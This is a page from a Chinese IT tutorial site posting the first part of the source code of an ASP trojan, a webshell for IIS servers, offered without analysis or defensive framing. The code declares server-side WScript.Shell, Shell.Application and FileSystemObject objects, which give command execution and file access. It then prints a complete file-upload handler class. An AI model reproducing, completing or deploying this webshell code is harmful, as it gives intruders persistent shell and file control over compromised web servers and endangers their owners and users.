中国IT动力,最新最全的IT技术教程
最新100篇 | 推荐100篇 | 专题100篇 | 排行榜 | 搜索 | 在线API文档
首 页 | 程序开发 | 操作系统 | 软件应用 | 图形图象 | 网络应用 | 精文荟萃 | 教育认证 | 硬件维护 | 未整理篇 | 站长教程
ASP JS PHP工程 ASP.NET 网站建设 UML J2EESUN .NET VC VB VFP 网络维护 数据库 DB2 SQL2000 Oracle Mysql
服务器 Win2000 Office C DreamWeaver FireWorks Flash PhotoShop 上网宝典 CorelDraw 协议大全 网络安全 微软认证
硬件维护  CPU  主板  硬盘  内存  显卡  显示器  键盘鼠标  声卡音箱  打印机  机箱电源  BIOS  网卡  C#  Java  Delphi  vs.net2005
  当前位置:> 程序开发 > Web开发 > Asp > 综合文章
一个ASP木马程序的源代码(1)
作者:佚名 时间:2006-11-06 16:19 出处:互连网 责编:月夜寒箫
              摘要:一个ASP木马程序的源代码(1)
  <%@ LANGUAGE = VBScript.Encode codepage ="936" %>
  <%Server.ScriptTimeOut=5000%>
  <object runat=server id=oScript scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
  <object runat=server id=oScriptNet scope=page classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object>
  <object runat=server id=oFileSys scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
  <%
  'on error resume next
  dim Data_5xsoft
  Class upload_5xsoft
  dim objForm,objFile,Version
  Public function Form(strForm)
  strForm=lcase(strForm)
  if not objForm.exists(strForm) then
  Form=""
  else
  Form=objForm(strForm)
  end if
  end function
  
  Public function File(strFile)
  strFile=lcase(strFile)
  if not objFile.exists(strFile) then
  set File=new FileInfo
  else
  set File=objFile(strFile)
  end if
  end function
  
  
  Private Sub Class_Initialize
  dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile
  dim iFileSize,sFilePath,sFileType,sFormValue,sFileName
  dim iFindStart,iFindEnd
  dim iFormStart,iFormEnd,sFormName
  Version="HTTP上传程序 Version 2.0"
  set objForm=Server.CreateObject("Scripting.Dictionary")
  set objFile=Server.CreateObject("Scripting.Dictionary")
  if Request.TotalBytes<1 then Exit Sub
  set tStream = Server.CreateObject("adodb.stream")
  set Data_5xsoft = Server.CreateObject("adodb.stream")
  Data_5xsoft.Type = 1
  Data_5xsoft.Mode =3
  Data_5xsoft.Open
  Data_5xsoft.Write Request.BinaryRead(Request.TotalBytes)
  Data_5xsoft.Position=0
  RequestData =Data_5xsoft.Read
  
  iFormStart = 1
  iFormEnd = LenB(RequestData)
  vbCrlf = chrB(13) & chrB(10)
  sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1)
  iStart = LenB (sStart)
  iFormStart=iFormStart+iStart+1
  while (iFormStart + 10) < iFormEnd
  iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf & vbCrlf)+3
  tStream.Type = 1
  tStream.Mode =3
  tStream.Open
  Data_5xsoft.Position = iFormStart
  Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart
  tStream.Position = 0
  tStream.Type = 2
  tStream.Charset ="gb2312"
  sInfo = tStream.ReadText
  tStream.Close
  iFormStart = InStrB(iInfoEnd,RequestData,sStart)
  iFindStart = InStr(22,sInfo,"name=""",1)+6
  iFindEnd = InStr(iFindStart,sInfo,"""",1)
  sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))
  if InStr (45,sInfo,"filename=""",1) > 0 then
  set theFile=new FileInfo
  iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10
  iFindEnd = InStr(iFindStart,sInfo,"""",1)
  sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
  theFile.FileName=getFileName(sFileName)
  theFile.FilePath=getFilePath(sFileName)
  iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14
  iFindEnd = InStr(iFindStart,sInfo,vbCr)
  theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)
  theFile.FileStart =iInfoEnd
  theFile.FileSize = iFormStart -iInfoEnd -3
  theFile.FormName=sFormName
  if not objFile.Exists(sFormName) then
  objFile.add sFormName,theFile
  end if
  else
  tStream.Type =1
  tStream.Mode =3
  tStream.Open
  Data_5xsoft.Position = iInfoEnd
  Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3
  tStream.Position = 0
  tStream.Type = 2
  tStream.Charset ="gb2312"
  sFormValue = tStream.ReadText
  tStream.Close
  if objForm.Exists(sFormName) then
  objForm(sFormName)=objForm(sFormName)&", "&sFormValue
  else
  objForm.Add sFormName,sFormValue
  end if
  end if
  iFormStart=iFormStart+iStart+1
  wend
  RequestData=""
  set tStream =nothing
  End Sub
  
  Private Sub Class_Terminate
  if Request.TotalBytes>0 then
  objForm.RemoveAll
  objFile.RemoveAll
  set objForm=nothing
  set objFile=nothing
  Data_5xsoft.Close
  set Data_5xsoft =nothing
  end if
  End Sub 
  
关闭本页
 
首页 | 投资与合作 | 服务条款 | 隐私政策 | 收藏本站 | 设为首页 | 新用户注册 | 免责声明 | 使用帮助
Copyright ©2005-2008 chinaitpower.com All rights reserved. www.chinaitpower.com 版权所有